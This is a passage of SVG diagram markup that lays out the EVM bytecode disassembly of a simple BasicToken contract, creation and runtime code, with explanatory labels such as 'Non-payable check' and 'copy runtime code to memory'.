x="865.5" y="3544.5">387 ISZERO</text><text x="865.5" y="3558.5">388 ISZERO</text><text x="865.5" y="3572.5">389 PUSH2 0147</text><text x="865.5" y="3586.5">392 JUMPI</text><text x="865.5" y="3600.5">393 PUSH1 00</text><text x="865.5" y="3614.5">395 DUP1</text><text x="865.5" y="3628.5">396 REVERT</text><text x="865.5" y="3642.5">397 JUMPDEST</text><text x="865.5" y="3656.5">398 CALLER</text><text x="865.5" y="3670.5">399 PUSH1 00</text><text x="865.5" y="3684.5">401 SWAP1</text><text x="865.5" y="3698.5">402 DUP2</text><text x="865.5" y="3712.5">403 MSTORE</text><text x="865.5" y="3726.5">404 PUSH1 01</text><text x="865.5" y="3740.5">406 PUSH1 20</text><text x="865.5" y="3754.5">408 MSTORE</text><text x="865.5" y="3768.5">409 PUSH1 40</text><text x="865.5" y="3782.5">411 SWAP1</text><text x="865.5" y="3796.5">412 SHA3</text><text x="865.5" y="3810.5">413 SLOAD</text><text x="865.5" y="3824.5">414 DUP3</text><text x="865.5" y="3838.5">415 GT</text><text x="865.5" y="3852.5">416 ISZERO</text><text x="865.5" y="3866.5">417 PUSH2 0163</text><text x="865.5" y="3880.5">420 JUMPI</text><text x="865.5" y="3894.5">421 PUSH1 00</text><text x="865.5" y="3908.5">423 DUP1</text><text x="865.5" y="3922.5">424 REVERT</text><text x="865.5" y="3936.5">425 JUMPDEST</text><text x="865.5" y="3950.5">426 POP</text><text x="865.5" y="3964.5">427 CALLER</text><text x="865.5" y="3978.5">428 PUSH1 00</text><text x="865.5" y="3992.5">430 SWAP1</text><text x="865.5" y="4006.5">431 DUP2</text><text x="865.5" y="4020.5">432 MSTORE</text><text x="865.5" y="4034.5">433 PUSH1 01</text><text x="865.5" y="4048.5">435 PUSH1 20</text><text x="865.5" y="4062.5">437 DUP2</text><text x="865.5" y="4076.5">438 SWAP1</text><text x="865.5" y="4090.5">439 MSTORE</text><text x="865.5" y="4104.5">440 PUSH1 40</text><text x="865.5" y="4118.5">442 DUP1</text><text x="865.5" y="4132.5">443 DUP4</text><text x="865.5" y="4146.5">444 SHA3</text><text x="865.5" y="4160.5">445 DUP1</text><text x="865.5" y="4174.5">446 SLOAD</text><text x="865.5" y="4188.5">447 DUP6</text><text x="865.5" y="4202.5">448 SWAP1</text><text x="865.5" y="4216.5">449 SUB</text><text x="865.5" y="4230.5">450 SWAP1</text><text x="865.5" y="4244.5">451 SSTORE</text><text x="865.5" y="4258.5">452 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="865.5" y="4272.5">473 DUP6</text><text x="865.5" y="4286.5">474 AND</text><text x="865.5" y="4300.5">475 DUP4</text><text x="865.5" y="4314.5">476 MSTORE</text><text x="865.5" y="4328.5">477 SWAP1</text><text x="865.5" y="4342.5">478 SWAP2</text><text x="865.5" y="4356.5">479 SHA3</text><text x="865.5" y="4370.5">480 DUP1</text><text x="865.5" y="4384.5">481 SLOAD</text><text x="865.5" y="4398.5">482 DUP4</text><text x="865.5" y="4412.5">483 ADD</text><text x="865.5" y="4426.5">484 SWAP1</text><text x="865.5" y="4440.5">485 SSTORE</text><text x="865.5" y="4454.5">486 SWAP3</text><text x="865.5" y="4468.5">487 SWAP2</text><text x="865.5" y="4482.5">488 POP</text><text x="865.5" y="4496.5">489 POP</text><text x="865.5" y="4510.5">490 JUMP</text><text x="865.5" y="4524.5">491 STOP</text><text x="865.5" y="4538.5">492 LOG1</text><text x="865.5" y="4552.5">493 PUSH6 627a7a723058</text><text x="865.5" y="4566.5">500 SHA3</text><text x="865.5" y="4580.5">501 INVALID</text><text x="865.5" y="4594.5">502 INVALID</text><text x="865.5" y="4608.5">503 SWAP10</text><text x="865.5" y="4622.5">504 DELEGATECALL</text><text x="865.5" y="4636.5">505 GASLIMIT</text><text x="865.5" y="4650.5">506 SWAP7</text><text x="865.5" y="4664.5">507 TIMESTAMP</text><text x="865.5" y="4678.5">508 DUP8</text><text x="865.5" y="4692.5">509 INVALID</text><text x="865.5" y="4706.5">510 INVALID</text><text x="865.5" y="4720.5">511 INVALID</text><text x="865.5" y="4734.5">512 SWAP4</text><text x="865.5" y="4748.5">513 LOG4</text><text x="865.5" y="4762.5">514 SWAP1</text><text x="865.5" y="4776.5">515 JUMPI</text><text x="865.5" y="4790.5">516 INVALID</text><text x="865.5" y="4804.5">517 CALLVALUE</text><text x="865.5" y="4818.5">518 INVALID</text><text x="865.5" y="4832.5">519 BLOCKHASH</text><text x="865.5" y="4846.5">520 INVALID</text><text x="865.5" y="4860.5">521 SWAP2</text><text x="865.5" y="4874.5">522 INVALID</text><text x="865.5" y="4888.5">523 INVALID</text><text x="865.5" y="4902.5">524 INVALID</text><text x="865.5" y="4916.5">525 INVALID</text><text x="865.5" y="4930.5">526 CALLCODE</text><text x="865.5" y="4944.5">527 SWAP13</text><text x="865.5" y="4958.5">528 DUP9</text><text x="865.5" y="4972.5">529 INVALID</text><text x="865.5" y="4986.5">530 INVALID</text><text x="865.5" y="5000.5">531 RETURN</text><text x="865.5" y="5014.5">532 INVALID</text><text x="865.5" y="5028.5">533 STOP</text><text x="865.5" y="5042.5">534 INVALID</text><text x="865.5" y="5056.5">535 STOP</text><text x="865.5" y="5070.5">536 STOP</text><text x="865.5" y="5084.5">537 STOP</text><text x="865.5" y="5098.5">538 STOP</text><text x="865.5" y="5112.5">539 STOP</text><text x="865.5" y="5126.5">540 STOP</text><text x="865.5" y="5140.5">541 STOP</text><text x="865.5" y="5154.5">542 STOP</text><text x="865.5" y="5168.5">543 STOP</text><text x="865.5" y="5182.5">544 STOP</text><text x="865.5" y="5196.5">545 STOP</text><text x="865.5" y="5210.5">546 STOP</text><text x="865.5" y="5224.5">547 STOP</text><text x="865.5" y="5238.5">548 STOP</text><text x="865.5" y="5252.5">549 STOP</text><text x="865.5" y="5266.5">550 STOP</text><text x="865.5" y="5280.5">551 STOP</text><text x="865.5" y="5294.5">552 STOP</text><text x="865.5" y="5308.5">553 STOP</text><text x="865.5" y="5322.5">554 STOP</text><text x="865.5" y="5336.5">555 STOP</text><text x="865.5" y="5350.5">556 STOP</text><text x="865.5" y="5364.5">557 STOP</text><text x="865.5" y="5378.5">558 STOP</text><text x="865.5" y="5392.5">559 STOP</text><text x="865.5" y="5406.5">560 STOP</text><text x="865.5" y="5420.5">561 STOP</text><text x="865.5" y="5434.5">562 STOP</text><text x="865.5" y="5448.5">563 STOP</text><text x="865.5" y="5462.5">564 STOP</text><text x="865.5" y="5476.5">565 INVALID</text><text x="865.5" y="5490.5">566 LT</text></g><rect x="1838" y="357" width="500" height="750" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 1838 383 L 1838 357 L 2338 357 L 2338 383 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2087.5" y="375.5">BasicToken.evm (creation)</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-1842-388-492-724-0)" font-size="12px"><text x="1843.5" y="400.5">000 PUSH1 80</text><text x="1843.5" y="414.5">002 PUSH1 40</text><text x="1843.5" y="428.5">004 MSTORE</text><text x="1843.5" y="442.5">005 CAL LVALUE</text><text x="1843.5" y="456.5">006 DUP1</text><text x="1843.5" y="470.5">007 ISZERO</text><text x="1843.5" y="484.5">008 PUSH2 0010</text><text x="1843.5" y="498.5">011 JUMPI</text><text x="1843.5" y="512.5">012 PUSH1 00</text><text x="1843.5" y="526.5">014 DUP1</text><text x="1843.5" y="540.5">015 REVERT</text><text x="1843.5" y="554.5">016 JUMPDEST</text><text x="1843.5" y="568.5">017 POP</text><text x="1843.5" y="582.5">018 PUSH1 40</text><text x="1843.5" y="596.5">020 MLOAD</text><text x="1843.5" y="610.5">021 PUSH1 20</text><text x="1843.5" y="624.5">023 DUP1</text><text x="1843.5" y="638.5">024 PUSH2 0217</text><text x="1843.5" y="652.5">027 DUP4</text><text x="1843.5" y="666.5">028 CODECOPY</text><text x="1843.5" y="680.5">029 DUP2</text><text x="1843.5" y="694.5">030 ADD</text><text x="1843.5" y="708.5">031 PUSH1 40</text><text x="1843.5" y="722.5">033 SWAP1</text><text x="1843.5" y="736.5">034 DUP2</text><text x="1843.5" y="750.5">035 MSTORE</text><text x="1843.5" y="764.5">036 SWAP1</text><text x="1843.5" y="778.5">037 MLOAD</text><text x="1843.5" y="792.5">038 PUSH1 00</text><text x="1843.5" y="806.5">040 DUP2</text><text x="1843.5" y="820.5">041 DUP2</text><text x="1843.5" y="834.5">042 SSTORE</text><text x="1843.5" y="848.5">043 CALLER</text><text x="1843.5" y="862.5">044 DUP2</text><text x="1843.5" y="876.5">045 MSTORE</text><text x="1843.5" y="890.5">046 PUSH1 01</text><text x="1843.5" y="904.5">048 PUSH1 20</text><text x="1843.5" y="918.5">050 MSTORE</text><text x="1843.5" y="932.5">051 SWAP2</text><text x="1843.5" y="946.5">052 SWAP1</text><text x="1843.5" y="960.5">053 SWAP2</text><text x="1843.5" y="974.5">054 SHA3</text><text x="1843.5" y="988.5">055 SSTORE</text><text x="1843.5" y="1002.5">056 PUSH2 01d1</text><text x="1843.5" y="1016.5">059 DUP1</text><text x="1843.5" y="1030.5">060 PUSH2 0046</text><text x="1843.5" y="1044.5">063 PUSH1 00</text><text x="1843.5" y="1058.5">065 CODECOPY</text><text x="1843.5" y="1072.5">066 PUSH1 00</text><text x="1843.5" y="1086.5">068 RETURN</text><text x="1843.5" y="1100.5">069 STOP</text></g><rect x="1728" y="1698" width="500" height="3580" fill="#ffffff" stroke="#000000" pointer-events="none"/><path d="M 1728 1724 L 1728 1698 L 2228 1698 L 2228 1724 Z" fill="none" stroke="#000000" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" text-anchor="middle" font-size="12px"><text x="1977.5" y="1715.5">BasicToken.evm (runtime)</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-1732-1729-492-3554-0)" font-size="12px"><text x="1733.5" y="1741.5">000 PUSH1 80</text><text x="1733.5" y="1755.5">002 PUSH1 40</text><text x="1733.5" y="1769.5">004 MSTORE</text><text x="1733.5" y="1783.5">005 PUSH1 04</text><text x="1733.5" y="1797.5">007 CALLDATASIZE</text><text x="1733.5" y="1811.5">008 LT</text><text x="1733.5" y="1825.5">009 PUSH2 0056</text><text x="1733.5" y="1839.5">012 JUMPI</text><text x="1733.5" y="1853.5">013 PUSH4 ffffffff</text><text x="1733.5" y="1867.5">018 PUSH29 0100000000000000000000000000000000000000000000000000000000</text><text x="1733.5" y="1881.5">048 PUSH1 00</text><text x="1733.5" y="1895.5">050 CALLDATALOAD</text><text x="1733.5" y="1909.5">051 DIV</text><text x="1733.5" y="1923.5">052 AND</text><text x="1733.5" y="1937.5">053 PUSH4 18160ddd</text><text x="1733.5" y="1951.5">058 DUP2</text><text x="1733.5" y="1965.5">059 EQ</text><text x="1733.5" y="1979.5">060 PUSH2 005b</text><text x="1733.5" y="1993.5">063 JUMPI</text><text x="1733.5" y="2007.5">064 DUP1</text><text x="1733.5" y="2021.5">065 PUSH4 70a08231</text><text x="1733.5" y="2035.5">070 EQ</text><text x="1733.5" y="2049.5">071 PUSH2 0082</text><text x="1733.5" y="2063.5">074 JUMPI</text><text x="1733.5" y="2077.5">075 DUP1</text><text x="1733.5" y="2091.5">076 PUSH4 a9059cbb</text><text x="1733.5" y="2105.5">081 EQ</text><text x="1733.5" y="2119.5">082 PUSH2 00b0</text><text x="1733.5" y="2133.5">085 JUMPI</text><text x="1733.5" y="2147.5">086 JUMPDEST</text><text x="1733.5" y="2161.5">087 PUSH1 00</text><text x="1733.5" y="2175.5">089 DUP1</text><text x="1733.5" y="2189.5">090 REVERT</text><text x="1733.5" y="2203.5">091 JUMPDEST</text><text x="1733.5" y="2217.5">092 CALLVALUE</text><text x="1733.5" y="2231.5">093 DUP1</text><text x="1733.5" y="2245.5">094 ISZERO</text><text x="1733.5" y="2259.5">095 PUSH2 0067</text><text x="1733.5" y="2273.5">098 JUMPI</text><text x="1733.5" y="2287.5">099 PUSH1 00</text><text x="1733.5" y="2301.5">101 DUP1</text><text x="1733.5" y="2315.5">102 REVERT</text><text x="1733.5" y="2329.5">103 JUMPDEST</text><text x="1733.5" y="2343.5">104 POP</text><text x="1733.5" y="2357.5">105 PUSH2 0070</text><text x="1733.5" y="2371.5">108 PUSH2 00f5</text><text x="1733.5" y="2385.5">111 JUMP</text><text x="1733.5" y="2399.5">112 JUMPDEST</text><text x="1733.5" y="2413.5">113 PUSH1 40</text><text x="1733.5" y="2427.5">115 DUP1</text><text x="1733.5" y="2441.5">116 MLOAD</text><text x="1733.5" y="2455.5">117 SWAP2</text><text x="1733.5" y="2469.5">118 DUP3</text><text x="1733.5" y="2483.5">119 MSTORE</text><text x="1733.5" y="2497.5">120 MLOAD</text><text x="1733.5" y="2511.5">121 SWAP1</text><text x="1733.5" y="2525.5">122 DUP2</text><text x="1733.5" y="2539.5">123 SWAP1</text><text x="1733.5" y="2553.5">124 SUB</text><text x="1733.5" y="2567.5">125 PUSH1 20</text><text x="1733.5" y="2581.5">127 ADD</text><text x="1733.5" y="2595.5">128 SWAP1</text><text x="1733.5" y="2609.5">129 RETURN</text><text x="1733.5" y="2623.5">130 JUMPDEST</text><text x="1733.5" y="2637.5">131 CALLVALUE</text><text x="1733.5" y="2651.5">132 DUP1</text><text x="1733.5" y="2665.5">133 ISZERO</text><text x="1733.5" y="2679.5">134 PUSH2 008e</text><text x="1733.5" y="2693.5">137 JUMPI</text><text x="1733.5" y="2707.5">138 PUSH1 00</text><text x="1733.5" y="2721.5">140 DUP1</text><text x="1733.5" y="2735.5">141 REVERT</text><text x="1733.5" y="2749.5">142 JUMPDEST</text><text x="1733.5" y="2763.5">143 POP</text><text x="1733.5" y="2777.5">144 PUSH2 0070</text><text x="1733.5" y="2791.5">147 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="1733.5" y="2805.5">168 PUSH1 04</text><text x="1733.5" y="2819.5">170 CALLDATALOAD</text><text x="1733.5" y="2833.5">171 AND</text><text x="1733.5" y="2847.5">172 PUSH2 00fb</text><text x="1733.5" y="2861.5">175 JUMP</text><text x="1733.5" y="2875.5">176 JUMPDEST</text><text x="1733.5" y="2889.5">177 CALLVALUE</text><text x="1733.5" y="2903.5">178 DUP1</text><text x="1733.5" y="2917.5">179 ISZERO</text><text x="1733.5" y="2931.5">180 PUSH2 00bc</text><text x="1733.5" y="2945.5">183 JUMPI</text><text x="1733.5" y="2959.5">184 PUSH1 00</text><text x="1733.5" y="2973.5">186 DUP1</text><text x="1733.5" y="2987.5">187 REVERT</text><text x="1733.5" y="3001.5">188 JUMPDEST</text><text x="1733.5" y="3015.5">189 POP</text><text x="1733.5" y="3029.5">190 PUSH2 00e1</text><text x="1733.5" y="3043.5">193 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="1733.5" y="3057.5">214 PUSH1 04</text><text x="1733.5" y="3071.5">216 CALLDATALOAD</text><text x="1733.5" y="3085.5">217 AND</text><text x="1733.5" y="3099.5">218 PUSH1 24</text><text x="1733.5" y="3113.5">220 CALLDATALOAD</text><text x="1733.5" y="3127.5">221 PUSH2 0123</text><text x="1733.5" y="3141.5">224 JUMP</text><text x="1733.5" y="3155.5">225 JUMPDEST</text><text x="1733.5" y="3169.5">226 PUSH1 40</text><text x="1733.5" y="3183.5">228 DUP1</text><text x="1733.5" y="3197.5">229 MLOAD</text><text x="1733.5" y="3211.5">230 SWAP2</text><text x="1733.5" y="3225.5">231 ISZERO</text><text x="1733.5" y="3239.5">232 ISZERO</text><text x="1733.5" y="3253.5">233 DUP3</text><text x="1733.5" y="3267.5">234 MSTORE</text><text x="1733.5" y="3281.5">235 MLOAD</text><text x="1733.5" y="3295.5">236 SWAP1</text><text x="1733.5" y="3309.5">237 DUP2</text><text x="1733.5" y="3323.5">238 SWAP1</text><text x="1733.5" y="3337.5">239 SUB</text><text x="1733.5" y="3351.5">240 PUSH1 20</text><text x="1733.5" y="3365.5">242 ADD</text><text x="1733.5" y="3379.5">243 SWAP1</text><text x="1733.5" y="3393.5">244 RETURN</text><text x="1733.5" y="3407.5">245 JUMPDEST</text><text x="1733.5" y="3421.5">246 PUSH1 00</text><text x="1733.5" y="3435.5">248 SLOAD</text><text x="1733.5" y="3449.5">249 SWAP1</text><text x="1733.5" y="3463.5">250 JUMP</text><text x="1733.5" y="3477.5">251 JUMPDEST</text><text x="1733.5" y="3491.5">252 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="1733.5" y="3505.5">273 AND</text><text x="1733.5" y="3519.5">274 PUSH1 00</text><text x="1733.5" y="3533.5">276 SWAP1</text><text x="1733.5" y="3547.5">277 DUP2</text><text x="1733.5" y="3561.5">278 MSTORE</text><text x="1733.5" y="3575.5">279 PUSH1 01</text><text x="1733.5" y="3589.5">281 PUSH1 20</text><text x="1733.5" y="3603.5">283 MSTORE</text><text x="1733.5" y="3617.5">284 PUSH1 40</text><text x="1733.5" y="3631.5">286 SWAP1</text><text x="1733.5" y="3645.5">287 SHA3</text><text x="1733.5" y="3659.5">288 SLOAD</text><text x="1733.5" y="3673.5">289 SWAP1</text><text x="1733.5" y="3687.5">290 JUMP</text><text x="1733.5" y="3701.5">291 JUMPDEST</text><text x="1733.5" y="3715.5">292 PUSH1 00</text><text x="1733.5" y="3729.5">294 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="1733.5" y="3743.5">315 DUP4</text><text x="1733.5" y="3757.5">316 AND</text><text x="1733.5" y="3771.5">317 ISZERO</text><text x="1733.5" y="3785.5">318 ISZERO</text><text x="1733.5" y="3799.5">319 PUSH2 0147</text><text x="1733.5" y="3813.5">322 JUMPI</text><text x="1733.5" y="3827.5">323 PUSH1 00</text><text x="1733.5" y="3841.5">325 DUP1</text><text x="1733.5" y="3855.5">326 REVERT</text><text x="1733.5" y="3869.5">327 JUMPDEST</text><text x="1733.5" y="3883.5">328 CALLER</text><text x="1733.5" y="3897.5">329 PUSH1 00</text><text x="1733.5" y="3911.5">331 SWAP1</text><text x="1733.5" y="3925.5">332 DUP2</text><text x="1733.5" y="3939.5">333 MSTORE</text><text x="1733.5" y="3953.5">334 PUSH1 01</text><text x="1733.5" y="3967.5">336 PUSH1 20</text><text x="1733.5" y="3981.5">338 MSTORE</text><text x="1733.5" y="3995.5">339 PUSH1 40</text><text x="1733.5" y="4009.5">341 SWAP1</text><text x="1733.5" y="4023.5">342 SHA3</text><text x="1733.5" y="4037.5">343 SLOAD</text><text x="1733.5" y="4051.5">344 DUP3</text><text x="1733.5" y="4065.5">345 GT</text><text x="1733.5" y="4079.5">346 ISZERO</text><text x="1733.5" y="4093.5">347 PUSH2 0163</text><text x="1733.5" y="4107.5">350 JUMPI</text><text x="1733.5" y="4121.5">351 PUSH1 00</text><text x="1733.5" y="4135.5">353 DUP1</text><text x="1733.5" y="4149.5">354 REVERT</text><text x="1733.5" y="4163.5">355 JUMPDEST</text><text x="1733.5" y="4177.5">356 POP</text><text x="1733.5" y="4191.5">357 CALLER</text><text x="1733.5" y="4205.5">358 PUSH1 00</text><text x="1733.5" y="4219.5">360 SWAP1</text><text x="1733.5" y="4233.5">361 DUP2</text><text x="1733.5" y="4247.5">362 MSTORE</text><text x="1733.5" y="4261.5">363 PUSH1 01</text><text x="1733.5" y="4275.5">365 PUSH1 20</text><text x="1733.5" y="4289.5">367 DUP2</text><text x="1733.5" y="4303.5">368 SWAP1</text><text x="1733.5" y="4317.5">369 MSTORE</text><text x="1733.5" y="4331.5">370 PUSH1 40</text><text x="1733.5" y="4345.5">372 DUP1</text><text x="1733.5" y="4359.5">373 DUP4</text><text x="1733.5" y="4373.5">374 SHA3</text><text x="1733.5" y="4387.5">375 DUP1</text><text x="1733.5" y="4401.5">376 SLOAD</text><text x="1733.5" y="4415.5">377 DUP6</text><text x="1733.5" y="4429.5">378 SWAP1</text><text x="1733.5" y="4443.5">379 SUB</text><text x="1733.5" y="4457.5">380 SWAP1</text><text x="1733.5" y="4471.5">381 SSTORE</text><text x="1733.5" y="4485.5">382 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="1733.5" y="4499.5">403 DUP6</text><text x="1733.5" y="4513.5">404 AND</text><text x="1733.5" y="4527.5">405 DUP4</text><text x="1733.5" y="4541.5">406 MSTORE</text><text x="1733.5" y="4555.5">407 SWAP1</text><text x="1733.5" y="4569.5">408 SWAP2</text><text x="1733.5" y="4583.5">409 SHA3</text><text x="1733.5" y="4597.5">410 DUP1</text><text x="1733.5" y="4611.5">411 SLOAD</text><text x="1733.5" y="4625.5">412 DUP4</text><text x="1733.5" y="4639.5">413 ADD</text><text x="1733.5" y="4653.5">414 SWAP1</text><text x="1733.5" y="4667.5">415 SSTORE</text><text x="1733.5" y="4681.5">416 SWAP3</text><text x="1733.5" y="4695.5">417 SWAP2</text><text x="1733.5" y="4709.5">418 POP</text><text x="1733.5" y="4723.5">419 POP</text><text x="1733.5" y="4737.5">420 JUMP</text><text x="1733.5" y="4751.5">421 STOP</text><text x="1733.5" y="4765.5">422 LOG1</text><text x="1733.5" y="4779.5">423 PUSH6 627a7a723058</text><text x="1733.5" y="4793.5">430 SHA3</text><text x="1733.5" y="4807.5">431 INVALID</text><text x="1733.5" y="4821.5">432 INVALID</text><text x="1733.5" y="4835.5">433 SWAP10</text><text x="1733.5" y="4849.5">434 DELEGATECALL</text><text x="1733.5" y="4863.5">435 GASLIMIT</text><text x="1733.5" y="4877.5">436 SWAP7</text><text x="1733.5" y="4891.5">437 TIMESTAMP</text><text x="1733.5" y="4905.5">438 DUP8</text><text x="1733.5" y="4919.5">439 INVALID</text><text x="1733.5" y="4933.5">440 INVALID</text><text x="1733.5" y="4947.5">441 INVALID</text><text x="1733.5" y="4961.5">442 SWAP4</text><text x="1733.5" y="4975.5">443 LOG4</text><text x="1733.5" y="4989.5">444 SWAP1</text><text x="1733.5" y="5003.5">445 JUMPI</text><text x="1733.5" y="5017.5">446 INVALID</text><text x="1733.5" y="5031.5">447 CALLVALUE</text><text x="1733.5" y="5045.5">448 INVALID</text><text x="1733.5" y="5059.5">449 BLOCKHASH</text><text x="1733.5" y="5073.5">450 INVALID</text><text x="1733.5" y="5087.5">451 SWAP2</text><text x="1733.5" y="5101.5">452 INVALID</text><text x="1733.5" y="5115.5">453 INVALID</text><text x="1733.5" y="5129.5">454 INVALID</text><text x="1733.5" y="5143.5">455 INVALID</text><text x="1733.5" y="5157.5">456 CALLCODE</text><text x="1733.5" y="5171.5">457 SWAP13</text><text x="1733.5" y="5185.5">458 DUP9</text><text x="1733.5" y="5199.5">459 INVALID</text><text x="1733.5" y="5213.5">460 INVALID</text><text x="1733.5" y="5227.5">461 RETURN</text><text x="1733.5" y="5241.5">462 INVALID</text><text x="1733.5" y="5255.5">463 STOP</text><text x="1733.5" y="5269.5">464 INVALID</text></g><path d="M 1433 1038 L 1753 1038 L 1753 996 L 1793 1066 L 1753 1136 L 1753 1094 L 1433 1094 L 1433 1066 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" transform="rotate(-25,1613,1066)" pointer-events="none"/><path d="M 1450 3372.5 L 1610 3372.5 L 1610 3330.5 L 1650 3400.5 L 1610 3470.5 L 1610 3428.5 L 1450 3428.5 L 1450 3400.5 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" transform="rotate(24,1550,3400.5)" pointer-events="none"/><path d="M 1382 783 L 1377 783 Q 1372 783 1372 793 L 1372 1130 Q 1372 1140 1367 1140 L 1364.5 1140 Q 1362 1140 1367 1140 L 1369.5 1140 Q 1372 1140 1372 1150 L 1372 1487 Q 1372 1497 1377 1497 L 1382 1497" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,1372,1140)" pointer-events="none"/><path d="M 1382 1503 L 1377 1503 Q 1372 1503 1372 1513 L 1372 3264.5 Q 1372 3274.5 1367 3274.5 L 1364.5 3274.5 Q 1362 3274.5 1367 3274.5 L 1369.5 3274.5 Q 1372 3274.5 1372 3284.5 L 1372 5036 Q 1372 5046 1377 5046 L 1382 5046" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,1372,3274.5)" pointer-events="none"/><rect x="2547.5" y="0" width="160" height="80" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2547.5 26 L 2547.5 0 L 2707.5 0 L 2707.5 26 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2627" y="18.5">Free memory pointer</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2552-31-152-54-0)" font-size="12px"><text x="2553" y="43.5">000 PUSH1 80</text><text x="2553" y="57.5">002 PUSH1 40</text><text x="2553" y="71.5">004 MSTORE</text></g><rect x="2647.5" y="185" width="190" height="150" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2647.5 211 L 2647.5 185 L 2837.5 185 L 2837.5 211 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2742" y="203.5">Non-payable check</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2652-216-182-124-0)" font-size="12px"><text x="2653" y="228.5">005 CALLVALUE</text><text x="2653" y="242.5">006 DUP1</text><text x="2653" y="256.5">007 ISZERO</text><text x="2653" y="270.5">008 PUSH2 0010</text><text x="2653" y="284.5">011 JUMPI</text><text x="2653" y="298.5">012 PUSH1 00</text><text x="2653" y="312.5">014 DUP1</text><text x="2653" y="326.5">015 REVERT</text></g><path d="M 2360 386 L 2355 386 Q 2350 386 2350 396 L 2350 402.5 Q 2350 409 2345 409 L 2342.5 409 Q 2340 409 2345 409 L 2347.5 409 Q 2350 409 2350 419 L 2350 425.5 Q 2350 432 2355 432 L 2360 432" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,2350,409)" pointer-events="none"/><path d="M 2360 434 L 2355 434 Q 2350 434 2350 444 L 2350 476 Q 2350 486 2345 486 L 2342.5 486 Q 2340 486 2345 486 L 2347.5 486 Q 2350 486 2350 496 L 2350 528 Q 2350 538 2355 538 L 2360 538" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(-180,2350,486)" pointer-events="none"/><path d="M 3015 708 L 3010 708 Q 3005 708 3005 718 L 3005 728.5 Q 3005 738.5 3000 738.5 L 2997.5 738.5 Q 2995 738.5 3000 738.5 L 3002.5 738.5 Q 3005 738.5 3005 748.5 L 3005 759 Q 3005 769 3010 769 L 3015 769" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,3005,738.5)" pointer-events="none"/><path d="M 3015 771 L 3010 771 Q 3005 771 3005 781 L 3005 827.5 Q 3005 837.5 3000 837.5 L 2997.5 837.5 Q 2995 837.5 3000 837.5 L 3002.5 837.5 Q 3005 837.5 3005 847.5 L 3005 894 Q 3005 904 3010 904 L 3015 904" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,3005,837.5)" pointer-events="none"/><path d="M 3016 907 L 3011 907 Q 3006 907 3006 911.25 L 3006 913.38 Q 3006 915.5 3001 915.5 L 2998.5 915.5 Q 2996 915.5 3001 915.5 L 3003.5 915.5 Q 3006 915.5 3006 919.75 L 3006 921.88 Q 3006 924 3011 924 L 3016 924" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,3006,915.5)" pointer-events="none"/><rect x="2680" y="960" width="210" height="110" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2680 986 L 2680 960 L 2890 960 L 2890 986 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2784.5" y="978.5">copy runtime code to memory</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2684-991-202-84-0)" font-size="12px"><text x="2685.5" y="1003.5">056 PUSH2 01d1</text><text x="2685.5" y="1017.5">059 DUP1</text><text x="2685.5" y="1031.5">060 PUSH2 0046</text><text x="2685.5" y="1045.5">063 PUSH1 00</text><text x="2685.5" y="1059.5">065 CODECOPY</text></g><rect x="2547.5" y="1130" width="160" height="80" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2547.5 1156 L 2547.5 1130 L 2707.5 1130 L 2707.5 1156 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2627" y="1148.5">return runtime code</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2552-1161-152-54-0)" font-size="12px"><text x="2553" y="1173.5">066 PUSH1 00</text><text x="2553" y="1187.5">068 RETURN</text><text x="2553" y="1201.5">069 STOP</text></g><path d="M 2361 993 L 2356 993 Q 2351 993 2351 1003 L 2351 1012.75 Q 2351 1022.5 2346 1022.5 L 2343.5 1022.5 Q 2341 1022.5 2346 1022.5 L 2348.5 1022.5 Q 2351 1022.5 2351 1032.5 L 2351 1042.25 Q 2351 1052 2356 1052 L 2361 1052" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,2351,1022.5)" pointer-events="none"/><path d="M 2361 1055 L 2356 1055 Q 2351 1055 2351 1065 L 2351 1071 Q 2351 1077 2346 1077 L 2343.5 1077 Q 2341 1077 2346 1077 L 2348.5 1077 Q 2351 1077 2351 1087 L 2351 1093 Q 2351 1099 2356 1099 L 2361 1099" fill="none" stroke="#000000" stroke-miterlimit="10" 